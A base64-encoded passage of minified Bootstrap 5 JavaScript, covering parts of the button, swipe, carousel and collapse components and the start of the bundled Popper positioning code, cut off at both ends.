aWNrLmJzLmJ1dHRvbi5kYXRhLWFwaSIsViwodD0+e3QucHJldmVudERlZmF1bHQoKTtjb25zdCBlPXQudGFyZ2V0LmNsb3Nlc3QoVik7Sy5nZXRPckNyZWF0ZUluc3RhbmNlKGUpLnRvZ2dsZSgpfSkpLGcoSyk7Y29uc3QgUT17ZmluZDoodCxlPWRvY3VtZW50LmRvY3VtZW50RWxlbWVudCk9PltdLmNvbmNhdCguLi5FbGVtZW50LnByb3RvdHlwZS5xdWVyeVNlbGVjdG9yQWxsLmNhbGwoZSx0KSksZmluZE9uZToodCxlPWRvY3VtZW50LmRvY3VtZW50RWxlbWVudCk9PkVsZW1lbnQucHJvdG90eXBlLnF1ZXJ5U2VsZWN0b3IuY2FsbChlLHQpLGNoaWxkcmVuOih0LGUpPT5bXS5jb25jYXQoLi4udC5jaGlsZHJlbikuZmlsdGVyKCh0PT50Lm1hdGNoZXMoZSkpKSxwYXJlbnRzKHQsZSl7Y29uc3QgaT1bXTtsZXQgbj10LnBhcmVudE5vZGUuY2xvc2VzdChlKTtmb3IoO247KWkucHVzaChuKSxuPW4ucGFyZW50Tm9kZS5jbG9zZXN0KGUpO3JldHVybiBpfSxwcmV2KHQsZSl7bGV0IGk9dC5wcmV2aW91c0VsZW1lbnRTaWJsaW5nO2Zvcig7aTspe2lmKGkubWF0Y2hlcyhlKSlyZXR1cm5baV07aT1pLnByZXZpb3VzRWxlbWVudFNpYmxpbmd9cmV0dXJuW119LG5leHQodCxlKXtsZXQgaT10Lm5leHRFbGVtZW50U2libGluZztmb3IoO2k7KXtpZihpLm1hdGNoZXMoZSkpcmV0dXJuW2ldO2k9aS5uZXh0RWxlbWVudFNpYmxpbmd9cmV0dXJuW119LGZvY3VzYWJsZUNoaWxkcmVuKHQpe2NvbnN0IGU9WyJhIiwiYnV0dG9uIiwiaW5wdXQiLCJ0ZXh0YXJlYSIsInNlbGVjdCIsImRldGFpbHMiLCJbdGFiaW5kZXhdIiwnW2NvbnRlbnRlZGl0YWJsZT0idHJ1ZSJdJ10ubWFwKCh0PT5gJHt0fTpub3QoW3RhYmluZGV4Xj0iLSJdKWApKS5qb2luKCIsIik7cmV0dXJuIHRoaXMuZmluZChlLHQpLmZpbHRlcigodD0+IWwodCkmJmEodCkpKX19LFg9e2VuZENhbGxiYWNrOm51bGwsbGVmdENhbGxiYWNrOm51bGwscmlnaHRDYWxsYmFjazpudWxsfSxZPXtlbmRDYWxsYmFjazoiKGZ1bmN0aW9ufG51bGwpIixsZWZ0Q2FsbGJhY2s6IihmdW5jdGlvbnxudWxsKSIscmlnaHRDYWxsYmFjazoiKGZ1bmN0aW9ufG51bGwpIn07Y2xhc3MgVSBleHRlbmRzIEZ7Y29uc3RydWN0b3IodCxlKXtzdXBlcigpLHRoaXMuX2VsZW1lbnQ9dCx0JiZVLmlzU3VwcG9ydGVkKCkmJih0aGlzLl9jb25maWc9dGhpcy5fZ2V0Q29uZmlnKGUpLHRoaXMuX2RlbHRhWD0wLHRoaXMuX3N1cHBvcnRQb2ludGVyRXZlbnRzPUJvb2xlYW4od2luZG93LlBvaW50ZXJFdmVudCksdGhpcy5faW5pdEV2ZW50cygpKX1zdGF0aWMgZ2V0IERlZmF1bHQoKXtyZXR1cm4gWH1zdGF0aWMgZ2V0IERlZmF1bHRUeXBlKCl7cmV0dXJuIFl9c3RhdGljIGdldCBOQU1FKCl7cmV0dXJuInN3aXBlIn1kaXNwb3NlKCl7UC5vZmYodGhpcy5fZWxlbWVudCwiLmJzLnN3aXBlIil9X3N0YXJ0KHQpe3RoaXMuX3N1cHBvcnRQb2ludGVyRXZlbnRzP3RoaXMuX2V2ZW50SXNQb2ludGVyUGVuVG91Y2godCkmJih0aGlzLl9kZWx0YVg9dC5jbGllbnRYKTp0aGlzLl9kZWx0YVg9dC50b3VjaGVzWzBdLmNsaWVudFh9X2VuZCh0KXt0aGlzLl9ldmVudElzUG9pbnRlclBlblRvdWNoKHQpJiYodGhpcy5fZGVsdGFYPXQuY2xpZW50WC10aGlzLl9kZWx0YVgpLHRoaXMuX2hhbmRsZVN3aXBlKCksbSh0aGlzLl9jb25maWcuZW5kQ2FsbGJhY2spfV9tb3ZlKHQpe3RoaXMuX2RlbHRhWD10LnRvdWNoZXMmJnQudG91Y2hlcy5sZW5ndGg+MT8wOnQudG91Y2hlc1swXS5jbGllbnRYLXRoaXMuX2RlbHRhWH1faGFuZGxlU3dpcGUoKXtjb25zdCB0PU1hdGguYWJzKHRoaXMuX2RlbHRhWCk7aWYodDw9NDApcmV0dXJuO2NvbnN0IGU9dC90aGlzLl9kZWx0YVg7dGhpcy5fZGVsdGFYPTAsZSYmbShlPjA/dGhpcy5fY29uZmlnLnJpZ2h0Q2FsbGJhY2s6dGhpcy5fY29uZmlnLmxlZnRDYWxsYmFjayl9X2luaXRFdmVudHMoKXt0aGlzLl9zdXBwb3J0UG9pbnRlckV2ZW50cz8oUC5vbih0aGlzLl9lbGVtZW50LCJwb2ludGVyZG93bi5icy5zd2lwZSIsKHQ9PnRoaXMuX3N0YXJ0KHQpKSksUC5vbih0aGlzLl9lbGVtZW50LCJwb2ludGVydXAuYnMuc3dpcGUiLCh0PT50aGlzLl9lbmQodCkpKSx0aGlzLl9lbGVtZW50LmNsYXNzTGlzdC5hZGQoInBvaW50ZXItZXZlbnQiKSk6KFAub24odGhpcy5fZWxlbWVudCwidG91Y2hzdGFydC5icy5zd2lwZSIsKHQ9PnRoaXMuX3N0YXJ0KHQpKSksUC5vbih0aGlzLl9lbGVtZW50LCJ0b3VjaG1vdmUuYnMuc3dpcGUiLCh0PT50aGlzLl9tb3ZlKHQpKSksUC5vbih0aGlzLl9lbGVtZW50LCJ0b3VjaGVuZC5icy5zd2lwZSIsKHQ9PnRoaXMuX2VuZCh0KSkpKX1fZXZlbnRJc1BvaW50ZXJQZW5Ub3VjaCh0KXtyZXR1cm4gdGhpcy5fc3VwcG9ydFBvaW50ZXJFdmVudHMmJigicGVuIj09PXQucG9pbnRlclR5cGV8fCJ0b3VjaCI9PT10LnBvaW50ZXJUeXBlKX1zdGF0aWMgaXNTdXBwb3J0ZWQoKXtyZXR1cm4ib250b3VjaHN0YXJ0ImluIGRvY3VtZW50LmRvY3VtZW50RWxlbWVudHx8bmF2aWdhdG9yLm1heFRvdWNoUG9pbnRzPjB9fWNvbnN0IEc9Im5leHQiLEo9InByZXYiLFo9ImxlZnQiLHR0PSJyaWdodCIsZXQ9InNsaWQuYnMuY2Fyb3VzZWwiLGl0PSJjYXJvdXNlbCIsbnQ9ImFjdGl2ZSIsc3Q9e0Fycm93TGVmdDp0dCxBcnJvd1JpZ2h0Olp9LG90PXtpbnRlcnZhbDo1ZTMsa2V5Ym9hcmQ6ITAscGF1c2U6ImhvdmVyIixyaWRlOiExLHRvdWNoOiEwLHdyYXA6ITB9LHJ0PXtpbnRlcnZhbDoiKG51bWJlcnxib29sZWFuKSIsa2V5Ym9hcmQ6ImJvb2xlYW4iLHBhdXNlOiIoc3RyaW5nfGJvb2xlYW4pIixyaWRlOiIoYm9vbGVhbnxzdHJpbmcpIix0b3VjaDoiYm9vbGVhbiIsd3JhcDoiYm9vbGVhbiJ9O2NsYXNzIGF0IGV4dGVuZHMgentjb25zdHJ1Y3Rvcih0LGUpe3N1cGVyKHQsZSksdGhpcy5faW50ZXJ2YWw9bnVsbCx0aGlzLl9hY3RpdmVFbGVtZW50PW51bGwsdGhpcy5faXNTbGlkaW5nPSExLHRoaXMudG91Y2hUaW1lb3V0PW51bGwsdGhpcy5fc3dpcGVIZWxwZXI9bnVsbCx0aGlzLl9pbmRpY2F0b3JzRWxlbWVudD1RLmZpbmRPbmUoIi5jYXJvdXNlbC1pbmRpY2F0b3JzIix0aGlzLl9lbGVtZW50KSx0aGlzLl9hZGRFdmVudExpc3RlbmVycygpLHRoaXMuX2NvbmZpZy5yaWRlPT09aXQmJnRoaXMuY3ljbGUoKX1zdGF0aWMgZ2V0IERlZmF1bHQoKXtyZXR1cm4gb3R9c3RhdGljIGdldCBEZWZhdWx0VHlwZSgpe3JldHVybiBydH1zdGF0aWMgZ2V0IE5BTUUoKXtyZXR1cm4iY2Fyb3VzZWwifW5leHQoKXt0aGlzLl9zbGlkZShHKX1uZXh0V2hlblZpc2libGUoKXshZG9jdW1lbnQuaGlkZGVuJiZhKHRoaXMuX2VsZW1lbnQpJiZ0aGlzLm5leHQoKX1wcmV2KCl7dGhpcy5fc2xpZGUoSil9cGF1c2UoKXt0aGlzLl9pc1NsaWRpbmcmJnModGhpcy5fZWxlbWVudCksdGhpcy5fY2xlYXJJbnRlcnZhbCgpfWN5Y2xlKCl7dGhpcy5fY2xlYXJJbnRlcnZhbCgpLHRoaXMuX3VwZGF0ZUludGVydmFsKCksdGhpcy5faW50ZXJ2YWw9c2V0SW50ZXJ2YWwoKCgpPT50aGlzLm5leHRXaGVuVmlzaWJsZSgpKSx0aGlzLl9jb25maWcuaW50ZXJ2YWwpfV9tYXliZUVuYWJsZUN5Y2xlKCl7dGhpcy5fY29uZmlnLnJpZGUmJih0aGlzLl9pc1NsaWRpbmc/UC5vbmUodGhpcy5fZWxlbWVudCxldCwoKCk9PnRoaXMuY3ljbGUoKSkpOnRoaXMuY3ljbGUoKSl9dG8odCl7Y29uc3QgZT10aGlzLl9nZXRJdGVtcygpO2lmKHQ+ZS5sZW5ndGgtMXx8dDwwKXJldHVybjtpZih0aGlzLl9pc1NsaWRpbmcpcmV0dXJuIHZvaWQgUC5vbmUodGhpcy5fZWxlbWVudCxldCwoKCk9PnRoaXMudG8odCkpKTtjb25zdCBpPXRoaXMuX2dldEl0ZW1JbmRleCh0aGlzLl9nZXRBY3RpdmUoKSk7aWYoaT09PXQpcmV0dXJuO2NvbnN0IG49dD5pP0c6Sjt0aGlzLl9zbGlkZShuLGVbdF0pfWRpc3Bvc2UoKXt0aGlzLl9zd2lwZUhlbHBlciYmdGhpcy5fc3dpcGVIZWxwZXIuZGlzcG9zZSgpLHN1cGVyLmRpc3Bvc2UoKX1fY29uZmlnQWZ0ZXJNZXJnZSh0KXtyZXR1cm4gdC5kZWZhdWx0SW50ZXJ2YWw9dC5pbnRlcnZhbCx0fV9hZGRFdmVudExpc3RlbmVycygpe3RoaXMuX2NvbmZpZy5rZXlib2FyZCYmUC5vbih0aGlzLl9lbGVtZW50LCJrZXlkb3duLmJzLmNhcm91c2VsIiwodD0+dGhpcy5fa2V5ZG93bih0KSkpLCJob3ZlciI9PT10aGlzLl9jb25maWcucGF1c2UmJihQLm9uKHRoaXMuX2VsZW1lbnQsIm1vdXNlZW50ZXIuYnMuY2Fyb3VzZWwiLCgoKT0+dGhpcy5wYXVzZSgpKSksUC5vbih0aGlzLl9lbGVtZW50LCJtb3VzZWxlYXZlLmJzLmNhcm91c2VsIiwoKCk9PnRoaXMuX21heWJlRW5hYmxlQ3ljbGUoKSkpKSx0aGlzLl9jb25maWcudG91Y2gmJlUuaXNTdXBwb3J0ZWQoKSYmdGhpcy5fYWRkVG91Y2hFdmVudExpc3RlbmVycygpfV9hZGRUb3VjaEV2ZW50TGlzdGVuZXJzKCl7Zm9yKGNvbnN0IHQgb2YgUS5maW5kKCIuY2Fyb3VzZWwtaXRlbSBpbWciLHRoaXMuX2VsZW1lbnQpKVAub24odCwiZHJhZ3N0YXJ0LmJzLmNhcm91c2VsIiwodD0+dC5wcmV2ZW50RGVmYXVsdCgpKSk7Y29uc3QgdD17bGVmdENhbGxiYWNrOigpPT50aGlzLl9zbGlkZSh0aGlzLl9kaXJlY3Rpb25Ub09yZGVyKFopKSxyaWdodENhbGxiYWNrOigpPT50aGlzLl9zbGlkZSh0aGlzLl9kaXJlY3Rpb25Ub09yZGVyKHR0KSksZW5kQ2FsbGJhY2s6KCk9PnsiaG92ZXIiPT09dGhpcy5fY29uZmlnLnBhdXNlJiYodGhpcy5wYXVzZSgpLHRoaXMudG91Y2hUaW1lb3V0JiZjbGVhclRpbWVvdXQodGhpcy50b3VjaFRpbWVvdXQpLHRoaXMudG91Y2hUaW1lb3V0PXNldFRpbWVvdXQoKCgpPT50aGlzLl9tYXliZUVuYWJsZUN5Y2xlKCkpLDUwMCt0aGlzLl9jb25maWcuaW50ZXJ2YWwpKX19O3RoaXMuX3N3aXBlSGVscGVyPW5ldyBVKHRoaXMuX2VsZW1lbnQsdCl9X2tleWRvd24odCl7aWYoL2lucHV0fHRleHRhcmVhL2kudGVzdCh0LnRhcmdldC50YWdOYW1lKSlyZXR1cm47Y29uc3QgZT1zdFt0LmtleV07ZSYmKHQucHJldmVudERlZmF1bHQoKSx0aGlzLl9zbGlkZSh0aGlzLl9kaXJlY3Rpb25Ub09yZGVyKGUpKSl9X2dldEl0ZW1JbmRleCh0KXtyZXR1cm4gdGhpcy5fZ2V0SXRlbXMoKS5pbmRleE9mKHQpfV9zZXRBY3RpdmVJbmRpY2F0b3JFbGVtZW50KHQpe2lmKCF0aGlzLl9pbmRpY2F0b3JzRWxlbWVudClyZXR1cm47Y29uc3QgZT1RLmZpbmRPbmUoIi5hY3RpdmUiLHRoaXMuX2luZGljYXRvcnNFbGVtZW50KTtlLmNsYXNzTGlzdC5yZW1vdmUobnQpLGUucmVtb3ZlQXR0cmlidXRlKCJhcmlhLWN1cnJlbnQiKTtjb25zdCBpPVEuZmluZE9uZShgW2RhdGEtYnMtc2xpZGUtdG89IiR7dH0iXWAsdGhpcy5faW5kaWNhdG9yc0VsZW1lbnQpO2kmJihpLmNsYXNzTGlzdC5hZGQobnQpLGkuc2V0QXR0cmlidXRlKCJhcmlhLWN1cnJlbnQiLCJ0cnVlIikpfV91cGRhdGVJbnRlcnZhbCgpe2NvbnN0IHQ9dGhpcy5fYWN0aXZlRWxlbWVudHx8dGhpcy5fZ2V0QWN0aXZlKCk7aWYoIXQpcmV0dXJuO2NvbnN0IGU9TnVtYmVyLnBhcnNlSW50KHQuZ2V0QXR0cmlidXRlKCJkYXRhLWJzLWludGVydmFsIiksMTApO3RoaXMuX2NvbmZpZy5pbnRlcnZhbD1lfHx0aGlzLl9jb25maWcuZGVmYXVsdEludGVydmFsfV9zbGlkZSh0LGU9bnVsbCl7aWYodGhpcy5faXNTbGlkaW5nKXJldHVybjtjb25zdCBpPXRoaXMuX2dldEFjdGl2ZSgpLG49dD09PUcscz1lfHxiKHRoaXMuX2dldEl0ZW1zKCksaSxuLHRoaXMuX2NvbmZpZy53cmFwKTtpZihzPT09aSlyZXR1cm47Y29uc3Qgbz10aGlzLl9nZXRJdGVtSW5kZXgocykscj1lPT5QLnRyaWdnZXIodGhpcy5fZWxlbWVudCxlLHtyZWxhdGVkVGFyZ2V0OnMsZGlyZWN0aW9uOnRoaXMuX29yZGVyVG9EaXJlY3Rpb24odCksZnJvbTp0aGlzLl9nZXRJdGVtSW5kZXgoaSksdG86b30pO2lmKHIoInNsaWRlLmJzLmNhcm91c2VsIikuZGVmYXVsdFByZXZlbnRlZClyZXR1cm47aWYoIWl8fCFzKXJldHVybjtjb25zdCBhPUJvb2xlYW4odGhpcy5faW50ZXJ2YWwpO3RoaXMucGF1c2UoKSx0aGlzLl9pc1NsaWRpbmc9ITAsdGhpcy5fc2V0QWN0aXZlSW5kaWNhdG9yRWxlbWVudChvKSx0aGlzLl9hY3RpdmVFbGVtZW50PXM7Y29uc3QgbD1uPyJjYXJvdXNlbC1pdGVtLXN0YXJ0IjoiY2Fyb3VzZWwtaXRlbS1lbmQiLGM9bj8iY2Fyb3VzZWwtaXRlbS1uZXh0IjoiY2Fyb3VzZWwtaXRlbS1wcmV2IjtzLmNsYXNzTGlzdC5hZGQoYyksZChzKSxpLmNsYXNzTGlzdC5hZGQobCkscy5jbGFzc0xpc3QuYWRkKGwpLHRoaXMuX3F1ZXVlQ2FsbGJhY2soKCgpPT57cy5jbGFzc0xpc3QucmVtb3ZlKGwsYykscy5jbGFzc0xpc3QuYWRkKG50KSxpLmNsYXNzTGlzdC5yZW1vdmUobnQsYyxsKSx0aGlzLl9pc1NsaWRpbmc9ITEscihldCl9KSxpLHRoaXMuX2lzQW5pbWF0ZWQoKSksYSYmdGhpcy5jeWNsZSgpfV9pc0FuaW1hdGVkKCl7cmV0dXJuIHRoaXMuX2VsZW1lbnQuY2xhc3NMaXN0LmNvbnRhaW5zKCJzbGlkZSIpfV9nZXRBY3RpdmUoKXtyZXR1cm4gUS5maW5kT25lKCIuYWN0aXZlLmNhcm91c2VsLWl0ZW0iLHRoaXMuX2VsZW1lbnQpfV9nZXRJdGVtcygpe3JldHVybiBRLmZpbmQoIi5jYXJvdXNlbC1pdGVtIix0aGlzLl9lbGVtZW50KX1fY2xlYXJJbnRlcnZhbCgpe3RoaXMuX2ludGVydmFsJiYoY2xlYXJJbnRlcnZhbCh0aGlzLl9pbnRlcnZhbCksdGhpcy5faW50ZXJ2YWw9bnVsbCl9X2RpcmVjdGlvblRvT3JkZXIodCl7cmV0dXJuIHAoKT90PT09Wj9KOkc6dD09PVo/RzpKfV9vcmRlclRvRGlyZWN0aW9uKHQpe3JldHVybiBwKCk/dD09PUo/Wjp0dDp0PT09Sj90dDpafXN0YXRpYyBqUXVlcnlJbnRlcmZhY2UodCl7cmV0dXJuIHRoaXMuZWFjaCgoZnVuY3Rpb24oKXtjb25zdCBlPWF0LmdldE9yQ3JlYXRlSW5zdGFuY2UodGhpcyx0KTtpZigibnVtYmVyIiE9dHlwZW9mIHQpe2lmKCJzdHJpbmciPT10eXBlb2YgdCl7aWYodm9pZCAwPT09ZVt0XXx8dC5zdGFydHNXaXRoKCJfIil8fCJjb25zdHJ1Y3RvciI9PT10KXRocm93IG5ldyBUeXBlRXJyb3IoYE5vIG1ldGhvZCBuYW1lZCAiJHt0fSJgKTtlW3RdKCl9fWVsc2UgZS50byh0KX0pKX19UC5vbihkb2N1bWVudCwiY2xpY2suYnMuY2Fyb3VzZWwuZGF0YS1hcGkiLCJbZGF0YS1icy1zbGlkZV0sIFtkYXRhLWJzLXNsaWRlLXRvXSIsKGZ1bmN0aW9uKHQpe2NvbnN0IGU9bih0aGlzKTtpZighZXx8IWUuY2xhc3NMaXN0LmNvbnRhaW5zKGl0KSlyZXR1cm47dC5wcmV2ZW50RGVmYXVsdCgpO2NvbnN0IGk9YXQuZ2V0T3JDcmVhdGVJbnN0YW5jZShlKSxzPXRoaXMuZ2V0QXR0cmlidXRlKCJkYXRhLWJzLXNsaWRlLXRvIik7cmV0dXJuIHM/KGkudG8ocyksdm9pZCBpLl9tYXliZUVuYWJsZUN5Y2xlKCkpOiJuZXh0Ij09PUIuZ2V0RGF0YUF0dHJpYnV0ZSh0aGlzLCJzbGlkZSIpPyhpLm5leHQoKSx2b2lkIGkuX21heWJlRW5hYmxlQ3ljbGUoKSk6KGkucHJldigpLHZvaWQgaS5fbWF5YmVFbmFibGVDeWNsZSgpKX0pKSxQLm9uKHdpbmRvdywibG9hZC5icy5jYXJvdXNlbC5kYXRhLWFwaSIsKCgpPT57Y29uc3QgdD1RLmZpbmQoJ1tkYXRhLWJzLXJpZGU9ImNhcm91c2VsIl0nKTtmb3IoY29uc3QgZSBvZiB0KWF0LmdldE9yQ3JlYXRlSW5zdGFuY2UoZSl9KSksZyhhdCk7Y29uc3QgbHQ9InNob3ciLGN0PSJjb2xsYXBzZSIsaHQ9ImNvbGxhcHNpbmciLGR0PSdbZGF0YS1icy10b2dnbGU9ImNvbGxhcHNlIl0nLHV0PXtwYXJlbnQ6bnVsbCx0b2dnbGU6ITB9LGZ0PXtwYXJlbnQ6IihudWxsfGVsZW1lbnQpIix0b2dnbGU6ImJvb2xlYW4ifTtjbGFzcyBwdCBleHRlbmRzIHp7Y29uc3RydWN0b3IodCxlKXtzdXBlcih0LGUpLHRoaXMuX2lzVHJhbnNpdGlvbmluZz0hMSx0aGlzLl90cmlnZ2VyQXJyYXk9W107Y29uc3Qgbj1RLmZpbmQoZHQpO2Zvcihjb25zdCB0IG9mIG4pe2NvbnN0IGU9aSh0KSxuPVEuZmluZChlKS5maWx0ZXIoKHQ9PnQ9PT10aGlzLl9lbGVtZW50KSk7bnVsbCE9PWUmJm4ubGVuZ3RoJiZ0aGlzLl90cmlnZ2VyQXJyYXkucHVzaCh0KX10aGlzLl9pbml0aWFsaXplQ2hpbGRyZW4oKSx0aGlzLl9jb25maWcucGFyZW50fHx0aGlzLl9hZGRBcmlhQW5kQ29sbGFwc2VkQ2xhc3ModGhpcy5fdHJpZ2dlckFycmF5LHRoaXMuX2lzU2hvd24oKSksdGhpcy5fY29uZmlnLnRvZ2dsZSYmdGhpcy50b2dnbGUoKX1zdGF0aWMgZ2V0IERlZmF1bHQoKXtyZXR1cm4gdXR9c3RhdGljIGdldCBEZWZhdWx0VHlwZSgpe3JldHVybiBmdH1zdGF0aWMgZ2V0IE5BTUUoKXtyZXR1cm4iY29sbGFwc2UifXRvZ2dsZSgpe3RoaXMuX2lzU2hvd24oKT90aGlzLmhpZGUoKTp0aGlzLnNob3coKX1zaG93KCl7aWYodGhpcy5faXNUcmFuc2l0aW9uaW5nfHx0aGlzLl9pc1Nob3duKCkpcmV0dXJuO2xldCB0PVtdO2lmKHRoaXMuX2NvbmZpZy5wYXJlbnQmJih0PXRoaXMuX2dldEZpcnN0TGV2ZWxDaGlsZHJlbigiLmNvbGxhcHNlLnNob3csIC5jb2xsYXBzZS5jb2xsYXBzaW5nIikuZmlsdGVyKCh0PT50IT09dGhpcy5fZWxlbWVudCkpLm1hcCgodD0+cHQuZ2V0T3JDcmVhdGVJbnN0YW5jZSh0LHt0b2dnbGU6ITF9KSkpKSx0Lmxlbmd0aCYmdFswXS5faXNUcmFuc2l0aW9uaW5nKXJldHVybjtpZihQLnRyaWdnZXIodGhpcy5fZWxlbWVudCwic2hvdy5icy5jb2xsYXBzZSIpLmRlZmF1bHRQcmV2ZW50ZWQpcmV0dXJuO2Zvcihjb25zdCBlIG9mIHQpZS5oaWRlKCk7Y29uc3QgZT10aGlzLl9nZXREaW1lbnNpb24oKTt0aGlzLl9lbGVtZW50LmNsYXNzTGlzdC5yZW1vdmUoY3QpLHRoaXMuX2VsZW1lbnQuY2xhc3NMaXN0LmFkZChodCksdGhpcy5fZWxlbWVudC5zdHlsZVtlXT0wLHRoaXMuX2FkZEFyaWFBbmRDb2xsYXBzZWRDbGFzcyh0aGlzLl90cmlnZ2VyQXJyYXksITApLHRoaXMuX2lzVHJhbnNpdGlvbmluZz0hMDtjb25zdCBpPWBzY3JvbGwke2VbMF0udG9VcHBlckNhc2UoKStlLnNsaWNlKDEpfWA7dGhpcy5fcXVldWVDYWxsYmFjaygoKCk9Pnt0aGlzLl9pc1RyYW5zaXRpb25pbmc9ITEsdGhpcy5fZWxlbWVudC5jbGFzc0xpc3QucmVtb3ZlKGh0KSx0aGlzLl9lbGVtZW50LmNsYXNzTGlzdC5hZGQoY3QsbHQpLHRoaXMuX2VsZW1lbnQuc3R5bGVbZV09IiIsUC50cmlnZ2VyKHRoaXMuX2VsZW1lbnQsInNob3duLmJzLmNvbGxhcHNlIil9KSx0aGlzLl9lbGVtZW50LCEwKSx0aGlzLl9lbGVtZW50LnN0eWxlW2VdPWAke3RoaXMuX2VsZW1lbnRbaV19cHhgfWhpZGUoKXtpZih0aGlzLl9pc1RyYW5zaXRpb25pbmd8fCF0aGlzLl9pc1Nob3duKCkpcmV0dXJuO2lmKFAudHJpZ2dlcih0aGlzLl9lbGVtZW50LCJoaWRlLmJzLmNvbGxhcHNlIikuZGVmYXVsdFByZXZlbnRlZClyZXR1cm47Y29uc3QgdD10aGlzLl9nZXREaW1lbnNpb24oKTt0aGlzLl9lbGVtZW50LnN0eWxlW3RdPWAke3RoaXMuX2VsZW1lbnQuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KClbdF19cHhgLGQodGhpcy5fZWxlbWVudCksdGhpcy5fZWxlbWVudC5jbGFzc0xpc3QuYWRkKGh0KSx0aGlzLl9lbGVtZW50LmNsYXNzTGlzdC5yZW1vdmUoY3QsbHQpO2Zvcihjb25zdCB0IG9mIHRoaXMuX3RyaWdnZXJBcnJheSl7Y29uc3QgZT1uKHQpO2UmJiF0aGlzLl9pc1Nob3duKGUpJiZ0aGlzLl9hZGRBcmlhQW5kQ29sbGFwc2VkQ2xhc3MoW3RdLCExKX10aGlzLl9pc1RyYW5zaXRpb25pbmc9ITAsdGhpcy5fZWxlbWVudC5zdHlsZVt0XT0iIix0aGlzLl9xdWV1ZUNhbGxiYWNrKCgoKT0+e3RoaXMuX2lzVHJhbnNpdGlvbmluZz0hMSx0aGlzLl9lbGVtZW50LmNsYXNzTGlzdC5yZW1vdmUoaHQpLHRoaXMuX2VsZW1lbnQuY2xhc3NMaXN0LmFkZChjdCksUC50cmlnZ2VyKHRoaXMuX2VsZW1lbnQsImhpZGRlbi5icy5jb2xsYXBzZSIpfSksdGhpcy5fZWxlbWVudCwhMCl9X2lzU2hvd24odD10aGlzLl9lbGVtZW50KXtyZXR1cm4gdC5jbGFzc0xpc3QuY29udGFpbnMobHQpfV9jb25maWdBZnRlck1lcmdlKHQpe3JldHVybiB0LnRvZ2dsZT1Cb29sZWFuKHQudG9nZ2xlKSx0LnBhcmVudD1yKHQucGFyZW50KSx0fV9nZXREaW1lbnNpb24oKXtyZXR1cm4gdGhpcy5fZWxlbWVudC5jbGFzc0xpc3QuY29udGFpbnMoImNvbGxhcHNlLWhvcml6b250YWwiKT8id2lkdGgiOiJoZWlnaHQifV9pbml0aWFsaXplQ2hpbGRyZW4oKXtpZighdGhpcy5fY29uZmlnLnBhcmVudClyZXR1cm47Y29uc3QgdD10aGlzLl9nZXRGaXJzdExldmVsQ2hpbGRyZW4oZHQpO2Zvcihjb25zdCBlIG9mIHQpe2NvbnN0IHQ9bihlKTt0JiZ0aGlzLl9hZGRBcmlhQW5kQ29sbGFwc2VkQ2xhc3MoW2VdLHRoaXMuX2lzU2hvd24odCkpfX1fZ2V0Rmlyc3RMZXZlbENoaWxkcmVuKHQpe2NvbnN0IGU9US5maW5kKCI6c2NvcGUgLmNvbGxhcHNlIC5jb2xsYXBzZSIsdGhpcy5fY29uZmlnLnBhcmVudCk7cmV0dXJuIFEuZmluZCh0LHRoaXMuX2NvbmZpZy5wYXJlbnQpLmZpbHRlcigodD0+IWUuaW5jbHVkZXModCkpKX1fYWRkQXJpYUFuZENvbGxhcHNlZENsYXNzKHQsZSl7aWYodC5sZW5ndGgpZm9yKGNvbnN0IGkgb2YgdClpLmNsYXNzTGlzdC50b2dnbGUoImNvbGxhcHNlZCIsIWUpLGkuc2V0QXR0cmlidXRlKCJhcmlhLWV4cGFuZGVkIixlKX1zdGF0aWMgalF1ZXJ5SW50ZXJmYWNlKHQpe2NvbnN0IGU9e307cmV0dXJuInN0cmluZyI9PXR5cGVvZiB0JiYvc2hvd3xoaWRlLy50ZXN0KHQpJiYoZS50b2dnbGU9ITEpLHRoaXMuZWFjaCgoZnVuY3Rpb24oKXtjb25zdCBpPXB0LmdldE9yQ3JlYXRlSW5zdGFuY2UodGhpcyxlKTtpZigic3RyaW5nIj09dHlwZW9mIHQpe2lmKHZvaWQgMD09PWlbdF0pdGhyb3cgbmV3IFR5cGVFcnJvcihgTm8gbWV0aG9kIG5hbWVkICIke3R9ImApO2lbdF0oKX19KSl9fVAub24oZG9jdW1lbnQsImNsaWNrLmJzLmNvbGxhcHNlLmRhdGEtYXBpIixkdCwoZnVuY3Rpb24odCl7KCJBIj09PXQudGFyZ2V0LnRhZ05hbWV8fHQuZGVsZWdhdGVUYXJnZXQmJiJBIj09PXQuZGVsZWdhdGVUYXJnZXQudGFnTmFtZSkmJnQucHJldmVudERlZmF1bHQoKTtjb25zdCBlPWkodGhpcyksbj1RLmZpbmQoZSk7Zm9yKGNvbnN0IHQgb2YgbilwdC5nZXRPckNyZWF0ZUluc3RhbmNlKHQse3RvZ2dsZTohMX0pLnRvZ2dsZSgpfSkpLGcocHQpO3ZhciBndD0idG9wIixtdD0iYm90dG9tIixfdD0icmlnaHQiLGJ0PSJsZWZ0Iix2dD0iYXV0byIseXQ9W2d0LG10LF90LGJ0XSx3dD0ic3RhcnQiLEF0PSJlbmQiLEV0PSJjbGlwcGluZ1BhcmVudHMiLFR0PSJ2aWV3cG9ydCIsQ3Q9InBvcHBlciIsT3Q9InJlZmVyZW5jZSIseHQ9eXQucmVkdWNlKChmdW5jdGlvbih0LGUpe3JldHVybiB0LmNvbmNhdChbZSsiLSIrd3QsZSsiLSIrQXRdKX0pLFtdKSxrdD1bXS5jb25jYXQoeXQsW3Z0XSkucmVkdWNlKChmdW5jdGlvbih0LGUpe3JldHVybiB0LmNvbmNhdChbZSxlKyItIit3dCxlKyItIitBdF0pfSksW10pLEx0PSJiZWZvcmVSZWFkIixEdD0icmVhZCIsU3Q9ImFmdGVyUmVhZCIsSXQ9ImJlZm9yZU1haW4iLE50PSJtYWluIixQdD0iYWZ0ZXJNYWluIixqdD0iYmVmb3JlV3JpdGUiLE10PSJ3cml0ZSIsSHQ9ImFmdGVyV3JpdGUiLCR0PVtMdCxEdCxTdCxJdCxOdCxQdCxqdCxNdCxIdF07ZnVuY3Rpb24gV3QodCl7cmV0dXJuIHQ/KHQubm9kZU5hbWV8fCIiKS50b0xvd2VyQ2FzZSgpOm51bGx9ZnVuY3Rpb24gQnQodCl7aWYobnVsbD09dClyZXR1cm4gd2luZG93O2lmKCJbb2JqZWN0IFdpbmRvd10iIT09dC50b1N0cmluZygpKXt2YXIgZT10Lm93bmVyRG9jdW1lbnQ7cmV0dXJuIGUmJmUuZGVmYXVsdFZpZXd8fHdpbmRvd31yZXR1cm4gdH1mdW5jdGlvbiBGdCh0KXtyZXR1cm4gdCBpbnN0YW5jZW9mIEJ0KHQpLkVsZW1l